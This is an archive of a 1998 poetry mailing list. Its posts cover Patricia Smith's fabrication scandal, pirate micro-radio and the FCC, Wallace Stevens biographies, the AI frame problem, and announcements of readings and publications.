Today seems to be littered with relevant coincidences. I came acroos a column by John Dvorak that touches on several recent threads (PC COMPUTING, July, 1998 "technology in the language of business". He is discussing web pages and I'll just post some quotes so those interested can follow up. "A good vanity page needs a lot of mediocre clip art..." This precedes poetry: "No good vanity page exists without a lot of poems that stink...If we all do our part we can clog up the Net and maybe even bring it down with this stuff." The whole seems to relate to business not being sympathetic to many rcent concerns here, but I don't need to go into it deeply. tom bell

At 12:22 PM 6/20/98 -0400, you wrote:
>in another development in the appropriation/fabrication of identity
>threadz, poet Patricia Smith (multiple winner of the Nation Poetry Slam,
>and recent Pulitzer finalist) has resigned from the Boston Globe after
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>be relevent to th recent thread on $$ and poetry...
>
>luigi
>
>

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785. **R. Gancie**
"Poetically man dwells;" the hell, you say
Sat 20 Jun 1998

"Leibniz, though far ahead of his time, first caught sight of the universal, self-enclosed idea of the highest form of algebraic thinking, a mathesis universalis, as he called it, and recogniized it as a task for the future. Only in our time has it even come close to systematic development. In its full and complete sense it is nothing other than a formal logic carried out universally (or rather to be carried out in infinitum in its own essential totality), a science of the forms of meaning of the "something-in-general" which can be constructed in pure thought and in empty, formal generality. On this basis it is a science of the "manifolds" which, according to formal elementary laws of the non-contradictions of these constructions, can be built up systematically as in themselves free of contradiction."---from The Crisis of the European Sciences and Transcendental Phenomonology by Edmund Husserl --- "The given sensations as such constitute a manifold; as objects in space they are already ordred."---from A Commentary to Kant's Critique of Pure Reason by Norman Kemp Smith --- "The entire realm in which this "conforming to something" goes on must already occur as a whole in the unconcealed; and this holds equally of that for which the conformity of a propostion to fact becomes manifest." from The Origin of the Work of Art in Poetry, Language, Thought by Martin Heidegger---cp

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786. **Pritchett,Patrick**
Re: saturday night reading
Sat 20 Jun 1998

Three cheers for evanescence! (one -uh, two -uh, three - where was I now?)

Oh yes, three stamps short.

From: Henry Gould
To: [redacted]

Subject: saturday night reading
Date: Friday, June 19, 1998 9:31PM

Things were bopping tonight in Providence. I'm all out of breath running back to my "terminal" (get it?) to report on an excruciatingly evanescent and expressionotional (that's a kind of decaf) Reading that "happened" just moments (hours, I mean) ago down at Revlip's Bar in Fox Point.

Here are a few exquisite lines from Ranwald Flepastische's fantastic (all 6 syllables) performance:

summer basks in a tense Celan would have flipped

sex is a kind of shrimp pasta if you shell out the pink underbelly

remember it was when the envelope was short 3 stamps

so let it percolate, I will still wear the forbidden clogs

Jeez, Louise!

Unfortunately I missed the debonair Jacques Eschchewvielle's take on spirituality in a cab since I took the wrong trolley waiting for that extended veggie-meatloaf... oy !!

- Badass Henry the provincial Pug

[ey, Jordo, goombah - how'm I doin? Say, how about them Mets? Lissen, you get me that reading an we'll talk. They gotta know by now, right? best offer they gonna get, capische? what do I have t'do here? Vincento made the point, right? I mean how much we gotta convince these - where they comin from anyways, Buffalo or what??]

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787. Loss Pequen~o Glazier

New @ epc

Sat 20 Jun 1998

Some new developments at the EPC home page including links to a Creeley-Indiana collaboration and some new issues in the Witz archive. Also, just upgraded the EPC conferences page. More to come but some new resources for your online pleasure.

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788. **r. drake**
Re: Postmodern Piracy Festival /Call for Participants (fwd)
Sat 20 Jun 1998

brent--

secondly--i not only included the url fr the boston globe article describing this incident, i also read it. and i encourage any interested to also read it for themselves; that's why i posted th info... so unless you bother to read information that i posted, shut th hell up yrself.

firstly--i also read her apology: (http://www.boston.com/dailyglobe/globehtml/170/A_note_of_apology.htm) one of the (self-described) excuses she gives for her actions is "ambition" (paragraph 8). i've also spoken w/ patricia on numerous occasions, including taped interviews; she is a very talented and powerful writer, she is also extremely self-aware of her own ambitions... for renumeration as well as respect/acclaim... which is not a criticism in itself. but when those ambitions lead to profesional/artistic/ethical compromises or mis-representation, it's unfortunate at best. and at least one facet of the previous discussion here is, to what extent do power/money concerns influence or compromise artistic production? is such influence bad? unavoidable? excusable? and so, i'll reiterate that this incident seems to me to be relevent to that discussion.

third--i didnt say they did.

and last--why so het up? what's yr investment here?

asever
lbd

> *First of all, Patricia Smith's actions had NOTHING whatsoever to do with $$ Luigi... Secondly, unless you have more information that that which you receive from your television blurb on the late news, SHUT THE HELL UP.*
>
> *Thirdly, the articles for which she received her nominations for the numerous awards (including the Pulitzer) were not ones in which there were fabrications.*
>
> *Brent*
>
> *At 12:22 PM 6/20/98 -0400, you wrote:*
> *in another development in the appropriation/fabrication of identity threadz, poet Patricia Smith (multiple winner of the Nation Poetry Slam, and recent Pulitzer finalist) has resigned from the Boston Globe after it was discoverd that she'd created some of her sources...*

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> *&& only to observe, how intrinsicly all these instances seem (to me) to*
> *be relevent to th recent thread on $$ and poetry...*
>
> *luigi*
>
> [redacted]

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789. **Loss Pequen~o Glazier**
New @ epc
Sat 20 Jun 1998

I should have added:
http://writing.upenn.edu/epc

> *Some new developments at the EPC home page including links to a Creeley-Indiana collaboration and some new issues in the Witz archive. Also, just upgraded the EPC conferences page. More to come but some new resources for your online pleasure.*

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790. **nuyopoman**
Radio Poetry
Sat 20 Jun 1998

Dear Martin, non!

Yr not a creank any more than the rest of this list -- we're all cranks! (cf Wally McCrae's classico, "Cowboy Curmudgeon.")

You _are_ a funny guy -- to spout off about the impossibility of "fair" when it comes to new pirate radio being beat outr by FCC monster. I love the new micros, and have appeared in a number of 'em, spouting my own po and laying in other Mouth Almighty productions. It's a grand anarchic appropriation of tech; it's a neighborhood thing; I'm remembering John Giorno broadcasting from the St Mark's steeple c.1968.

The survey of poetry radio shows that the Mouth Almighty interns have undertaken (http://www.mouthalmighty.com/radio.htm) has shown how many definitions there are for this wildebeest. Very few programs are 100% canned prerecorded with music. There's lots of personally archived readings, live guest poets

in studio or on radio, and some, like Jeannie Hopper's Liquid Sound Lounge on WBAI, mix live on air beds with either live poems or taped a capella readings...

as for your gripes about USOP, you go, boyfriend! Lou Reed loved his setting by tomandandy enough to work with them on his last album, I'll take Cohen's "Democracy" on USOP anyday over the song version, blahdedah. The soundtrack got good notices, is our best-seller (but not for long -- both "Closed on Account of Rabies: Stories and Tales of Edgar Allan Poe" and the Burroughs box are doing very well). But, what do people know? They don't know po, is my estimation. Can you do your homework while a poem is playing? Dance to poetry?

Is a book a commodity? More than a CD?

On another tip: Patricia Smith, the best slam poet of all time, is getting roughed up over her use of fictitious characters and quotes in her Boston Globe column. The articles that quote her "lies" make it clear: as a journalist, she is a great poet. Her writing sparkles!

Bob Holman

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791. Nada Gordon
i see london i see france
Sat 20 Jun 1998

I'm going to be hopscotching continents this summer -- any groovy events happening?

london (actually hastings most of the time) July 4-July 18
July 31/Aug 1

paris july 18 - july 30

san francisco august 10- 26 (hint hint/ i'd love to do a reading)

nada

(does anyone know if stephen rodefer is still in england and if so how to reach him?)

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792. Dan or Orion
new from 26 BOOKS
Sat 20 Jun 1998

Hadn't thought to announce to the list recent publications from 26 BOOKS-- this is a project to publish "a new alphabet of contemporary poetries arising in the Pacific Northwest"--26 books for by 26 people of 26 pages each.

the 18th element is from the TEXTS of Anabasis, by anabasis/Thomas Lowe Taylor. poems from 20 years ago showing the authors links to objectivist poets, Olson and Language poetries. these works evolve around cocnerns of family and place.

the 19th element is
Blindsided by Chris Semansky
intense poems about life and its relationships, from the interpersonal to the social identity.
"When I first heard the term "language poetry" I thought it would be something like Mr. Semansky's work: language used so carefully as to make the tool itself part and parcel of the poetry" (Willie Smith)

The books are $4@, plus $1 p&h/order. To order these, or get more information on the series:

dan raphael
6735 se 78th
portland or 97205
or e-mail me

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793. morpheal
Re: descending murderous net
Sat 20 Jun 1998

>Morpheal was not arguing the moral stature of such realities, only pointing out >their existence once a state of war has descended.

Essentially correct.

Likewise, I am actually in favour of responsible, alternative, micro-radio stations, (who follow the major guidelines and regulations that other stations must follow, and who rigidly remain on an assigned frequency at an assigned power level) within the cultural sector.

As much so as I am in favour of such magnificent efforts as "Telepoetics" (using video networking, to produce video live conferencing, over the Internet). That is a different kind of project, but it is "television broadcasting" and it is a responsible and effective way of bringing live readings to a larger audience.

The problem is that micro-stations do need to be licensed, limited, controlled, to a certain amount, and ought only to be allowed for acceptable purposes. In my opinion pirate stations ruin it for everyone else.

Now, in that light, maybe the right way to go about it is to lobby the government to come up with a somewhat more affordable and accessible licensing

system for micro stations. In the USA, congress, senate, and obtain some new legislation to accodate new technologies. Pirate stations are not a lobby movement..... there is a huge difference.

M.

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794. Mark W Scroggins
Re: wallace stevens and the life
Sun 21 Jun 1998

Joan Richardson's is a "true" biography, but I don't know if I'd recommend those two enormous, tediously written volumes to anyone. James Longenbach's _WS: The Plain Sense of Things_ (Oxford UP 1991) is mostly about Stevens's politics in relation to his poetry, but has lots of good biographical information. Milton J. Bates's _WS: A Mythology of Self_ (U California P 1985) puts the poetry in a biographical context in smart ways. The msot enjoyable read is by far Peter Brazeau's _Parts of a World: WS Remembered_, an "oral" biography composed of recollections of those who knew Stevens. There's lots else out there, as you'll hear in the next few days.

Mark Scroggins

On Sun, 21 Jun 1998, toddbaron wrote:

> *I'm wondering if anyone has a rec. regarding a biography of W. Stevens--not a critical work on the poetics--but a true biography..*
>
> *Any help appreciated.*
>
> *Todd Baron*
> *--*
> *ReMap*
>
> *--*

↑ Index

795. toddbaron
Re: descending murderous net
Sun 21 Jun 1998

eeeeeee gaaaads

↑ Index

796. **toddbaron**
wallace stevens and the life
Sun 21 Jun 1998

I'm wondering if anyone has a rec. regarding a biography of W. Stevens--not a critical work on the poetics--but a true biography..

Any help appreciated.

Todd Baron
--
ReMap

--

↑ Index

797. **toddbaron**
Re: wallace stevens and the life
Sun 21 Jun 1998

thank-you. the "oral" sounds likely.

Tb

↑ Index

798. **Anthony Lawrence**
Re: wallace stevens and the life
Sun 21 Jun 1998

> *Peter Brazeau's _Parts of a World: WS Remembered_, an "oral" biography composed of recollections of those who knew Stevens.*

I found this one to be long-winded and riddled with superfluous detail, though it's worth reading for the description of Stevens in Keywest(?), starting a fist-fight with Hemingway: hilarious!

Best,

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

799. **R. Gancie**
the frame problem or busting outta Goedel's Second Theorem
Sun 21 Jun 1998

"Since the frame problem, whatever it is, is certainly not solved yet (and may be in its current guises, insoluble) the ideological foes of AI such as Hubert Dreyfus and John Searle are tempted to compose obituaries for the field, citing the frame problem as the cause of death. In What Computers Can't Do (Dreyfus 1972), Dreyfus sought to show that AI was a fundamentally mistaken method for studying the mind, and in fact many of his impressionistic complaints about AI models and many of his declared insights into their intrinsic limitations can be seen to hover quite systematically in the neighborhood of the frame problem...."---from Cognitive Wheels by Daniel Dennett---cp

↑ Index

800. **toddbaron**
Re: wallace stevens and the life
Sun 21 Jun 1998

thank-you!

Tb

↑ Index

801. **Jim Andrews**
the frame problem?
Mon 22 Jun 1998

What is the frame problem?

↑ Index

802. **Stephen Cope**
FCC etc. (longish post)
Mon 22 Jun 1998

It was discouraging to hear this news, as I've thrown around the idea of putting together a small station here (San Diego) that would likley have run initially somewhat 'underground' (the way in which many now legitimate public stations started, in fact). And although radio on the whole has been relatively unresponsive to poetry, it remains an excellent venue for poetic activity. Martin Spinelli's LINEbreak, which I aired weekly on a public station in Santa Cruz up until the time of my move, received much in the way of listenership and praise, a good deal of which came from folks who had never heard of, say, Cecilia Vicunia, or, for that matter, Charles Bernstein (the host), and were thus turned onto

something for which 'promotion', so to speak, is not at all easy to come by. And of course there's numerous other programs one could mention as central to their respective communities (Susan Howe's comes to mind). So I would argue that a discussion of radio is certainly not without relevance to the concerns on this list. (I certainly don't know of any poetry program advanced by a private/ commercial interest).

The FCC, of course, in choosing to dismantle airwave piracy (something they actually haven't been able to do for a few years now, precisely because of Radio Free Berkeley's earlier victories in court), is fulfilling a function precisely the opposite of that which it should be fulfilling - the latter of which is not to privatize, but to insure public access to airspace. This is no surprise, of course, particularly given that after an earlier RFB victory, the FCC threatened to stop issuing new liscenses to public radio stations, which would have effectively forced many such stations - particularly those affiliated with colleges, etc., where programmer turn-over is high - to operate illegally themselves (I think ultimately the threat was idle, but I got out of the business before all that came down). I can assure anyone who isn't already aware of it that the FCC is a brutal entity with a very skewed sense of community needs, and very little tolerance for anyone wishing to overstep the bounds of their absurdly outdated defintion of 'decency' (the fines for the overstepping of which are themselves absurdly inflated).

There was a time (perhaps now passed?) when frequencies below 92FM were reserved specifically for non-profit, public radio - something which, ironically, is irrelevant in San Diego precisely due to a lack of FCC involvement (i.e. many commercial stations operate their transmitters over the border, and send their 10,000 Watt signals back out this way on frequencies purportedly reserved for public radio). This of course means that the alternative radio here is precisely that kind of "alternative" which is no longer an alternative at all. (It also means that I dearly miss the Bay Area).

No po on the radio here, only rock-stars, shock jocks, and numerous favorable interviews with Mr. David Duke (all FCC approved).

Sorry for the long post,

Stephen

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803. George Bowering
Re: Tish spies
Mon 22 Jun 1998

> *The brazenness of the operation*
> *is revealed when one learns that 'TISH' is the acronymn from"Technical Information Shipping Harbor".*
>
> *David Bromige, Snitch Extraordinaire*

Bromige is just starting rumours and, okay, telling the truth because we used to send him invitations to Submit poems to TISH, and then we would send them back with an insulting rejection letter.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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804. morpheal
Re: FCC etc. [alternatives for video-audio, an example]
Mon 22 Jun 1998

> *It was discouraging to hear this news, as I've thrown around the idea of putting together a small station here (San Diego) that would likley have run initially somewhat 'underground' (the way in which many now legitimate public stations started, in fact). .....*
>
> *No po on the radio here,....*

Here is something that you might want to look at. The Telepoetics concept is to use currently available video and audio technologies to present poetry, essentially "live", but it could be pre-recorded as easily. They "broadcast" both the visual and the auditory content, in a manner that is not quite as costly as a pirate radio station can become. Their web site is:

http://www.tezcat.com/~malachit/home.shtml

Their use of alternative technology for video conferencing, with potential for multi location group viewings of performances, is exemplary. Plus, they are teaching people the technology through an internship prorgram.

M.

↑ Index

805. p.c. jaeger
Derksen & Mac Cormack reading
Mon 22 Jun 1998

Jeff Derksen and Karen Mac Cormack will read at the Red Head Gallery in Toronto on July 2 at 8 pm.

Red Head Gallery
96 Spadina, 8th floor
Toronto, On

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806. Douglas Barbour
Re: MacEwen & bissett
Mon 22 Jun 1998

Jim Andrewa

I'm not sure that 'academics' are against either MacEwen or bissett; I mean both are more likely to be anthologized in Canada than bp even. but to your points: I actually like the poem i quoted, although I liked it more when I first read it long ago on a postcard.

Which of her many fine poems should I show? I've always enjoyed "Manzini: Escape Artist" -- will that do?

now there are no bonds except the flesh; listen-
there was this boy, Manzini, stubborn with
gut stood with black tights and a turquoise
leaf across his sex

and smirking while the big
brute tied his neck arms legs, Manzini
naked waist up and white with sweat

struggled. Silent, delinquent, he
was suddenly all teeth and knee, straining slack
and excellent with sweat, inwardly

wondering if Houdini would take as long
as he; fighting time and the drenched
muscular ropes, as though his tendons were worn
on the outside-

as though his own guts were the ropes
encircling him; it was beautiful; it was thursday; listen--
there was this boy, Manzini

finally free, slid as snake from
his own sweet agonized skin, to throw his entrails
white upon the floor
with a cry of victory--

now there are no bonds except the flesh,
but listen, it was thursday, there was this boy,
Manzini--

& as George said, she would recite these poems by heart, one of the finest voices in Canadian poetry at the time (the other two, for me, being Webb & Daphne Marlatt). then as performer, bill bissett, still a great chanter...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

Ah! this gets us back to crux of my ramblings....For, what would we sell? (a number of individuals have been mentioned on the List, over the years, who sell/sold their work on the street; the price structure is on the order of a dollar or two per poem, in most instances, i believe....that says volumes about the economix of poetry)

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808. **Mark Prejsnar**
Re: the frame problem?
Mon 22 Jun 1998

On Sun, 21 Jun 1998, Jim Andrews wrote:

> *What is the frame problem?*

I believe that's the question (recently raised in the atlanta poets' group), Why are poets so hot recently on using the word "frame" in book titles?? (e.g., Barrett Watten, Susan Howe)

mark

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809. **Jordan Davis**
framing frenzy
Mon 22 Jun 1998

I'm not sure what the problem might be, but I know Lee Ann Brown has quoted Bruce Andrews as saying of some kind of art that it exhibited "framing frenzy." The criticism is, I guess, that calling attention to something in a work of art is tantamount to self-praise and self-destruction, and that unmediated chaos punctuated with snide ripostes to the void is the way to go. I know this tendency has been called gleefully anarchic and righteous self-laceration, but it could also be called dimly barbaric and self-righteous mutilation of thought (eikonoklastes being the tip to the atlanta group, that and Brecht). I say this, of course, to praise Bruce's work, especially the more annihilating Adornoescas in _I Don't Have Any Paper_ -- when o when will it be a Classic?

Jordan

↑ Index

810. linda russo
"How Poignant that sounds . . .
Mon 22 Jun 1998

even as you read back the transcript," is the title of a Bernstein/Andrews interview printed in the (marvelous) Chloroform (mini review forthcoming -- but it's excellent, really). and I feel as though I've lost my innocence! Interviews always seemed so NATURAL!

What of interview ettiquette? I mean, we can't all "come out" sounding brilliant. I'm transcribing an interview I hostessed (or did she hostess? It was at her house) of Leslie Scalapino, who has many marvelous things to say, and in the process of trying to "edit" IT'S GETTING LONGER!! Help!!

What does one do? It's 20 pages long (and rangey, as most interviews are). My questions: -- are interviews edited? or generally more of a collaboration? (" ok I'll let you sound brilliant there if you let me say this here?" or, "well i really wanted to keep the part where I recite the one man/one gun theory") -- what's a respectableacceptable publishable length in general? (Hey all you editors out there, how many pages ya want?)

thank you, all you old pros(e) who have an opinion regarding this matter.

Linda Russo
  * @ * % * & * # *

with only the sound of the mimeograph "kachucking"
and the pages swishing down . . . (Maureen Owen)

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811. Alan J.J.N. Sondheim
Re: framing frenzy
Mon 22 Jun 1998

The frame problem in AI is that of determining the relevant constituents in an environment, the things and interrelationships of a world - and doing this with a minimum of computation. What goes on, goes on somewhere and the frame problem relates to the somewhere.

Alan

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812. Judy Roitman
Re: framing frenzy
Mon 22 Jun 1998

> *The frame problem in AI is that of determining the relevant constituents in an environment, the things and interrelationships of a world - and doing this with a minimum of computation. What goes on, goes on somewhere and the frame problem relates to the somewhere.*
>
> *Alan*

In other words, you want a machine to be able to move across a room: do you have to worry about whether it knows if the floor is wood or carpet or linoleum?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

813. Alan J.J.N. Sondheim
Re: framing frenzy
Mon 22 Jun 1998

Or what constitutes a door or gravity or a window or a goal, or what that thing is near the doorway, or where the machine's going, etc.

You go into a restaurant and order some food; you haven't been there before? How do you know it's a restaurant? How do you know what to do?

At one point in the early 70s I visited the MIT AI lab a number of times; the frame problem was the _big_ problem.

Here's something that looks like a dog, but it only has three legs - is it a three-legged dog or a tripod with a fur coat on it?

Alan

On Mon, 22 Jun 1998, Judy Roitman wrote:

> *The frame problem in AI is that of determining the relevant constituents in an environment, the things and interrelationships of a world - and doing this with a minimum of computation. What goes on, goes on somewhere and the frame problem relates to the somewhere.*

> *Alan*
>
> *In other words, you want a machine to be able to move across a room: do you have to worry about whether it knows if the floor is wood or carpet or linoleum?*
>
> ---
> *Judy Roitman | "Whoppers Whoppers Whoppers!*
> *Math, University of Kansas | memory fails*
> *Lawrence, KS 66045 | these are the days."*
> [redacted] |
> *fax:* [redacted] | *Larry Eigner, 1927-1996*
> ---
> *Note new area code*
> ---
> *http://www.math.ukans.edu/~roitman/*
> ---

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814. louis stroffolino
Re: framing frenzy
Mon 22 Jun 1998

Hey, Jordan. Interesting post, before I can answer it however I need to know what the "this" in "this tendency has been called gleefully anarchic." I would assume it refers to the "snide" tendency, but maybe you meant it to refer to the so-called "destructive" tendency. Please clarify (or else by snide void). Thanks, CHris.....

On Mon, 22 Jun 1998, Jordan Davis wrote:

> *I'm not sure what the problem might be, but I know Lee Ann Brown has quoted Bruce Andrews as saying of some kind of art that it exhibited "framing frenzy." The criticism is, I guess, that calling attention to something in a work of art is tantamount to self-praise and self-destruction, and that unmediated chaos punctuated with snide ripostes to the void is the way to go. I know this tendency has been called gleefully anarchic and righteous self-laceration, but it could also be called dimly barbaric and self-righteous mutilation of thought (eikonoklastes being the tip to the atlanta group, that and Brecht). I say this, of course, to praise Bruce's work, especially the more annihilating Adornoescas in _I Don't Have Any Paper_ -- when o when will it be a Classic?*

> *Jordan*

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815. louis stroffolino
Re: framing frenzy
Mon 22 Jun 1998

Okay, so you don't mean AI.....

On Mon, 22 Jun 1998, Alan J.J.N. Sondheim wrote:

> *Or what constitutes a door or gravity or a window or a goal, or what that thing is near the doorway, or where the machine's going, etc.*
>
> *You go into a restaurant and order some food; you haven't been there before? How do you know it's a restaurant? How do you know what to do?*
>
> *At one point in the early 70s I visited the MIT AI lab a number of times; the frame problem was the _big_ problem.*
>
> *Here's something that looks like a dog, but it only has three legs - is it a three-legged dog or a tripod with a fur coat on it?*
>
> *Alan*
>
> *On Mon, 22 Jun 1998, Judy Roitman wrote:*
>
> *The frame problem in AI is that of determining the relevant constituents in an environment, the things and interrelationships of a world - and doing this with a minimum of computation. What goes on, goes on somewhere and the frame problem relates to the somewhere.*
>
> *Alan*
>
> *In other words, you want a machine to be able to move across a room: do you have to worry about whether it knows if the floor is wood or carpet or linoleum?*
>
> *----------*
> *Judy Roitman | "Whoppers Whoppers Whoppers!*
> *Math, University of Kansas | memory fails*
> *Lawrence, KS 66045 | these are the days."*
> *[redacted] |*
> *fax: [redacted] | Larry Eigner, 1927-1996*

> ----------
> *Note new area code*
> ----------
> *http://www.math.ukans.edu/~roitman/*
> ----------

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816. **Jordan Davis**
this, now, here, name
Mon 22 Jun 1998

Chris --

The thing is, there you are. Someone is there, who is it. It is The Thing. Names exist to take away the Thing. Name your child Name and you will see. Now read that child's poems at Here, printed in a lost future issue of This. Do it now.

-- Jordan

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817. **David Baratier**
Re: "How Poignant that sounds . . .
Mon 22 Jun 1998

nice reply charles-- A few things I would add. I would suggest sending interviews to the interviewee, before publication especially for the process of clarification of sources, of who ran such and such journal etc, because interviewees have a tendency of remembering many other details, allegories and stories afterward and sending them along with the changes or talking about them on the phone. I would also suggest letting the interview to go as long as possible then seeing what the publication wants. The market for interviews has severely changed since the late seventies, in my experience very few journals have the pages available for a 60 plus page interview. In the last two or three years I have been writing them up in their entirety then parcelling them off to three or more journals on the basis of their needs & subject material interest.

Be well

David Baratier

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818. **R. Gancie**
Cognitive wheels
Mon 22 Jun 1998

"When an AI mode of some cogntive phenomonon is proposed, the model is describable at many different levels, from the most global, phenomonological level at which the behavior is described (with some presumptuousness)in ordinary mentalistic terms, down through variuos levels of implementaiton all the way to the level of program code--and even further down, to the level of fundamental hardware operations if anyone cares. No one supposes that the model maps onto the processes of psychology and biology allthe way down. The claim is only that for some high level or levels of description below the phenomonological level (which MERELY[!] SETS the problem) thereie a mapping of model features onto what is being modeled: the cognitive processes in living creatures, human or otherwise. It is understood that all the implementation details below the level of intended modelling will consist, no doubt, of cognitive wheels--bits of unbiological computer activity mimicking the gross effects of cogntitive subcomponents by using methods utterly unlike the methods still to be discovered in the brain. Someone who failed to appreciate that a model composed microscopically of cognitive wheels could still achieve a fruitful isomorphism with biological and psychological processes at higher level of aggregation would suppose there were good a priori reasons for generalized skepticism about AI.---from Cognitive Wheels by Daniel Dennett --- "It's not a problem of making machines that think like humans, but one of making humans think that they are machines. The more concealed the wheels, the more oohs and aahs from the crowd."---comment by an anonymous customer

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819. **morpheal**
Re: framing frenzy
Mon 22 Jun 1998

> *Or what constitutes a door or gravity or a window or a goal, or what that thing is near the doorway, or where the machine's going, etc.*
> *You go into a restaurant and order some food; you haven't been there before? How do you know it's a restaurant? How do you know what to do?*
> *At one point in the early 70s I visited the MIT AI lab a number of times; the frame problem was the _big_ problem.*
> *Here's something that looks like a dog, but it only has three legs - is it a three-legged dog or a tripod with a fur coat on it?*

I can answer that with one word, though I do not know about MIT as such:

solved.
======

M.

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820. **morpheal**
Re: the frame problem or busting outta Goedel's Second Theorem
Mon 22 Jun 1998

> *Re: the frame problem or busting outta Goedel's Second Theorem*
>
> *"Since the frame problem, whatever it is, is certainly not solved yet (and may be in its current guises, insoluble) the ideological foes of AI such as Hubert Dreyfus and John Searle are tempted to compose obituaries for the field, citing the frame problem as the cause of death. In What Computers Can't Do (Dreyfus 1972), Dreyfus sought to show that AI was a fundamentally mistaken method for studying the mind, and in fact many of his impressionistic complaints about AI models and many of his declared insights into their intrinsic limitations can be seen to hover quite systematically in the neighborhood of the frame problem...."---from Cognitive Wheels by Daniel Dennett---cp*

I posted my response to one of the followups before I read this.

"Solved".

M.

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821. **R. Gancie**
brick & block
Mon 22 Jun 1998

Of course, Maria, if you ever have occasion to throw that brick, you'll want it in its non reductive form.---cp

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822. **sylvester pollet**
Re: "How Poignant that sounds . . .
Mon 22 Jun 1998

At 7:28 PM +0000 6/22/98, David Baratier wrote:
>nice reply charles-- A few things I would add. I would suggest sending
>interviews to the interviewee, before publication especially for the
>process of clarification of sources, of who ran such and such journal
>etc, because interviewees have a tendency of remembering many other
>details, allegories and stories afterward and sending them along with
>the changes or talking about them on the phone.

I'd second, or is it third, this. For one thing, names don't always come off a tape correctly. I just caught one, transcribed Kohler for Jim Koller. No reason to compound errors in print, unless you want to do some sort of variorum interview with a million editorial footnotes to clarify. Which is different from revisionist history (I think). Good luck finding a home. Sagetrieb has run some long pieces & might be worth considering. Sylvester

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823. **sylvester pollet**

Re: "How Poignant that sounds . . .

Mon 22 Jun 1998

> *At 7:28 PM +0000 6/22/98, David Baratier wrote:*
> *nice reply charles-- A few things I would add. I would suggest sending interviews to the interviewee, before publication especially for the process of clarification of sources, of who ran such and such journal etc, because interviewees have a tendency of remembering many other details, allegories and stories afterward and sending them along with the changes or talking about them on the phone.*

I'd second, or is it third, this. For one thing, names don't always come off a tape correctly. I just caught one, transcribed Kohler for Jim Koller. No reason to compound errors in print, unless you want to do some sort of variorum interview with a million editorial footnotes to clarify. Which is different from revisionist history (I think). Good luck finding a home. Sagetrieb has run some long pieces & might be worth considering. Sylvester

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824. **Simon/Piombino**

Stevens Bios

Mon 22 Jun 1998

Tod,

Most important is "Parts of A World Remembered" which is an amazingly good oral biography by Peter Brazeau. It is a real literary treat, plenty of info, gossip and a kind of time travel experience in itself.Then there's the two volume bio by Joan Richardson (Morrow, 1986). I found both volumes for $8.95 each on remainder a couple of years ago, which suggests you could probably find them used right now at a decent price. Is this the "critical" bio you were thinking of?

Best wishes,
Nick Piombino

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825. **Tom Beard**
Re: Weiner's _Code Poems_ and reductiveness
Mon 22 Jun 1998

> *maybe eventually. i feel kinda shy about it because i'm concerned that it'll be considered reductive...*

Don't be afraid to be reductive, Maria. Think of the word "reduction" in a culinary context instead: simmer down the sauce until it's denser, richer, tastier.

Every act of reduction is also an act of creation, as long as one bears in mind the terms and limitations of the reduction. Everything can be "reduced" according to a variety of discourses: a wall is "only" a collection of bricks; it is "only" a 950kg object; it is "only" a certain mixture of limestone, straw and earth; it is "only" an RGB value of #cc3300; it is "only" a metaphor for alienation. Every reduction gives us a new way of talking about it.

Tom Beard.

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826. **Peter Minter**
Re: chapbook = Kaufman ?
Mon 22 Jun 1998

Thanks all for the comments on 'chapbook'. I like the tension the word gives between 'underground' politics, signatures, texture and economies. Speaking of which, if I might hawk a bit and carry this thread forward/back to the discussion I had with a friend that prompted my question, my chapbook (or is it a pamphlet, or just a book?) 'Monocausotaxophilia' will soon be published by John Kinsella's Folio at Cambridge, and, I trust, will not be costly. Backchannel here if you'd like me to send

Peter

> *Wow, synchronicity! In the same day's posting,*
> *discussion of the word "chapbook" and the poet Bob "Kaufman" . . .*
>
> *From my Random House Electronic Dictionary:*
>
> *chap·book n.*
> *1. a small book or pamphlet of popular tales, ballads, etc., formerly hawked about by chapmen.*
> *2. a small book or pamphlet, often of poetry.*
> *[1790–1800; chap (as in CHAPMAN) + BOOK]*
>
> *chap·man n., pl. -men.*
> *1. Brit. a peddler.*
> *2. Archaic. a merchant.*

> *[bef. 900; ME; OE cheapman (cheap buying and selling + man MAN1); c. D koopman, G Kaufmann; see CHEAP]*
>
> *It must be the radio waves from two microstations crossing and causing interference pattern ripples in the aether . . .*

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827. **Tom Beard**

Re: raw numbers

Mon 22 Jun 1998

> "E=mc2", as an inscription on paper, is *not* poetic, or, rather, the qualities
> that, it seems, you would consider fundamental to its essence (a linear relationship
> between matter and energy) contribute nothing to the poetry.

I have to side with ShaunAnne on this. An equation becomes "poetic" (and maybe I'm just using this in a broader sense than you'd allow) through the subtle relationships it bears to other equations; when it inspires new fields of enquiry; when it cannot be paraphrased; when it represents a condensation of thoughts that can not be expressed more concisely or elegantly in any other way. These all sound like what many would consider to be virtues in a poem. So a "nonphysical, nonsensical relationship" cannot be poetic in this sense.

I'm not sure that ShaunAnne was involved in "the needless and obfusticating blending of entirely different realms of human activity" (though I do like the neologism "obfusticating"). The fact that both poetry and mathematics _are_ realms of human activity indicates that there is a connection that we cannot ignore.

When Miroslav Holub was here recently, I found it amazing that so many of the questions that were asked of him went along the lines of "Do you write poetry to get away from all that horrible science that you have to do?". I thought we'd got beyond all this "two cultures" stuff, but certainly it seems that the way both art and science are taught tends to make adherents of one into despisers of the other.

E=mc2 is poetic; the lowercase "f" in Sabon Italic is poetic; group theory is poetic; the bonnet of an XK8 is poetic.

Mondrian is as poetic as Pollock; Bach is as poetic as Debussy; Darwin is as poetic as Genesis.

Tom Beard.

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828. **Mark W Scroggins**
addresses again--
Tue 23 Jun 1998

Hi folks, me again. Does anyone have e-mail and/or regular addresses for Andrew Crozier and Charles Tomlinson? If so, please backchannel. Thanks!

Mark Scroggins

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829. **Tom Beard**
Re: brick & block
Tue 23 Jun 1998

> *Of course, Maria, if you ever have occasion to throw that brick, you'll want it in its non reductive form.---cp*

Of course, you won't care about its colour or its architectural usefulness; only its ballistic properties. Or is that being too reductive?

Tom.

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830. **toddbaron**
Re: Stevens Bios
Tue 23 Jun 1998

